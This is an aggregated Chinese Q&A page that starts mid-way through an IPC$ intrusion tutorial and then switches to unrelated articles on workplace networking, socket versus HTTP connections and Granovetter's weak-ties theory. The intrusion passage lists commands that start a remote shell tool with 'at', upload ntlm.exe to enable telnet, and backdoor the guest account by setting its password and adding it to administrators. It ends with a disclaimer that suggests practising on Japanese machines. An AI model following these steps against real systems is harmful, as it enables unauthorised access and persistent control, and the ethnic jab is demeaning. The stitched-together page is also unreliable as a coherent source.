4. C:>at 127.0.0.1 11:05 srv.exe 用at命令啟動srv.exe吧（這里設置的時間要比主機時間快，不然你怎麼啟動啊，呵呵！）

5. C:>net time 127.0.0.1再查查到時間沒有？如果127.0.0.1 的當前時間是 2002/3/19 上午 11:05，那就准備開始下面的命令。

6. C:>telnet 127.0.0.1 99 這里會用到Telnet命令吧，注意埠是99。Telnet默認的是23埠，但是我們使用的是SRV在對方計算機中為我們建立一個99埠的Shell。雖然我們可以Telnet上去了，但是SRV是一次性的，下次登錄還要再激活！所以我們打算建立一個Telnet服務！這就要用到ntlm了

7.C:> ntlm.exe 127.0.0.1admin$用Copy命令把ntlm.exe上傳到主機上（ntlm.exe也是在《流光》的Tools目錄中）。

8. C:WINNTsystem32>ntlm 輸入ntlm啟動（這里的C:WINNTsystem32>指的是對方計算機，運行ntlm其實是讓這個程序在對方計算機上運行）。當出現"DONE"的時候，就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務！

9. Telnet 127.0.0.1，接著輸入用戶名與密碼就進入對方了，操作就像在DOS上操作一樣簡單！(然後你想做什麼?想做什麼就做什麼吧,哈哈)為了以防萬一,我們再把guest激活加到管理組

10. C:>net user guest /active:yes 將對方的Guest用戶激活

11. C:>net user guest 1234 將Guest的密碼改為1234,或者你要設定的密碼

12. C:>net localgroup administrators guest /add 將Guest變為Administrator^_^(如果管理員密碼更改，guest帳號沒改變的話，下次我們可以用guest再次訪問這台計算機)

總結:關於ipc入侵就說這么多了,覺得已經夠詳細了,如果有不準確的地方,希望能與大家討論.最後,希望大家不要隨便入侵,我寫這篇文章的目的是想解答大家的疑惑,並不是鼓勵大家隨便的入侵,如果你非想試一下,建議拿小日本的機子開練.

『柒』 怎樣建立和打造人際關系

我們的職場人際關系大體分為三種類型，分別是：強連接、同盟、和弱連接。強連接就是你常常打交道的、和你最熟的人，比如說你的同事，你的家人。同盟關系就是和你有共同的利益點的那些人。比如說你的客戶、供應商、事業合作夥伴等等。人的一生往往會換很多份工作，甚至換不同的行業，那麼每個人所服務過的公司，以前合作過的同事，也可以構成我們職場人際關系中重要的成員。

所以要重視自己的前同事關系，保持和他們的聯系，主動和別人分享自己的近況，告訴他們自己正在做什麼。如果可以的話，最好能定期參加一些前同事的聚會，因為這些人曾經一起共事過，彼此比較了解，有一定的信任度，都是至關重要的人脈資源。

弱連接就是那些彼此之間很友好，但是不常見面，還沒有那麼熟悉的人；同一個圈子的人各個方面比較類似，容易限制自己，圈子之外的人可以帶來新的信息和機會，所以要重視弱連接關系。

要讓自己成為一個對人有用的人，經常主動幫助別人；維護弱連接關系其實也很簡單，就是換位思考，為別人著想，而且只要從小事上入手就可以了。先去了解別人，去想想別人最關心的是什麼？最近遇到了什麼難題？他的興趣愛好是什麼？想清楚這些，就可以經常的給被人製造一些小驚喜了。

成為別人的橋梁，主動的幫別人介紹關系，設立一個交友基金，用這筆錢來支付維護關系的開銷。每個人最多能維持150個人左右。我們可以通過擴展第二層關系、第三層關系的方式來擴大社交圈，最好的方式是讓你的朋友幫你引薦。最好先花一些時間做做功課，比如先去了解下這個人的需要，想想自己夠為他做些什麼，至少先找到你們之間重要的共同利益點，剩下的事就好辦多了。這樣對方就不會覺得和你認識是在浪費時間，因為你也在為對方輸出價值。

要定期評估和反饋。畫一張人際關系結構圖，看看你都有哪些類型的朋友，你最經常接觸哪些人？有多少同盟關系？有多少不同的圈子？朋友的類型是否太單一了呢？最近一個月有沒有認識到新朋友？有哪些關系要加強一些？要減少和哪些關系的來往呢。假如你發現自己一個月都沒有為別人介紹新朋友，或者自己也沒有主動去認識一些新朋友，就說明很可能沒有好好利用你的人際網路了，接下來就需要調整了。

需要提醒的是不要盲目地為了社交而社交，我們需要知道自己哪裡存在盲區，認識哪一類新朋友能開闊自己的視野，此外還有共同進步者，比如一起參加某個培訓課程。同時我們要真誠待人，現在的年輕人越來越喜歡和真誠的人在一起，少一些套路。未來家族式的傳統商業關系會被打破，社會組織結構會更加開放，抱團、共享、扁平的社會元素會滲透到各行各業，構建自己的人際關系網路對個人的生涯發展變的尤為重要。

『捌』 什麼是強聯網和弱聯網以及區別

一、強聯網
1、什麼是強聯網？
我們通常說的強聯網其實就是用Socket（套接字）連接，也叫強連接，長連接。
2、協議分配
以Tcp協議和Udp協議為主
3、Socket構成
Socket(套接字)=網路地址(IP)+埠號(Port)
4、使用原理
基本的socket通信伺服器端主要需要確定埠，同時綁定埠進行監聽，一旦有從客戶端法過來的連接請求就建立連接並收發消息。
5、特點
Socket通信具有實時性、長連接的特點。
6、應用
根據Socket通信的特點，我們很容易想到那些實時對戰，多人在線的游戲都是用強聯網。

二、弱聯網
1、什麼是弱聯網？
弱聯網是HTTP協議（超文本傳輸協議 ），是互聯網上應用最為廣泛的一種網路協議。
2、協議分配
HTTP協議和HTTPS協議等
3、通信方式
Get和Post
4、使用原理
基於網址連接，我們在瀏覽器的地址欄里輸入的網站地址叫做URL (Uniform Resource Locator，統一資源定位符)。每個網頁也都有一個Internet地址。當你在瀏覽器的地址框中輸入一個URL或是單擊一個超級鏈接時，URL就確定了要瀏覽的地址。瀏覽器通過超文本傳輸協議(HTTP)，將Web伺服器上站點的網頁代碼提取出來，並翻譯成漂亮的網頁，或者說獲取到了你想要的資源。
5、特點
每次連接只處理一個請求，當伺服器處理完客戶端的請求即端開連接，節省傳輸時間。
6、應用
實現登錄、注冊、選服功能，游戲角色信息，商城等窗口信息的獲取，伺服器與資料庫通信等。

『玖』 弱連接的理論發現

在（二十世紀）六十年代晚期，哈佛大學的一個研究生Mark Granovetter通過尋訪麻省牛頓鎮的居民如何找工作來探索社會網路。他非常驚訝地發現那些緊密的朋友反倒沒有那些弱連接的關系更能夠發揮作用。事實上，緊密的朋友根本幫不上忙。
Granovetter描述弱連接的論文被當年的《美國社會學評論》拒之門外而無人問津，直到多年之後才得到認可，並被認為是現代社會學最有影響的論文之一。正是弱連接才使新的主意從外部世界傳輸過來。
弱連接理論由美國社會學家馬克·格拉諾維特（Mark Granovetter）於1974年提出。格蘭諾維特指出：在傳統社會，每個人接觸最頻繁的是自己的親人、同學、朋友、同事……這是一種十分穩定的然而傳播范圍有限的社會認知，這是一種「強連接」 (Strong Ties)現象；同時，還存在另外一類相對於前一種社會關系更為廣泛的，然而卻是膚淺的社會認知。例如一個被人無意間提到或者打開收音機偶然聽到的一個人……格蘭諾維特把後者稱為「弱連接」(Weak Ties)。研究發現：其實與一個人的工作和事業關系最密切的社會關系並不是「強連接」，而常常是「弱連接」。「弱連接」雖然不如「強連接」那樣堅固（金字塔），卻有著極快的、可能具有低成本和高效能的傳播效率。
Granovetter認為在探究一些網路現象時，使用弱連接(Weak Ties)的概念比使用強連接(Strong Ties)的概念來得的重要。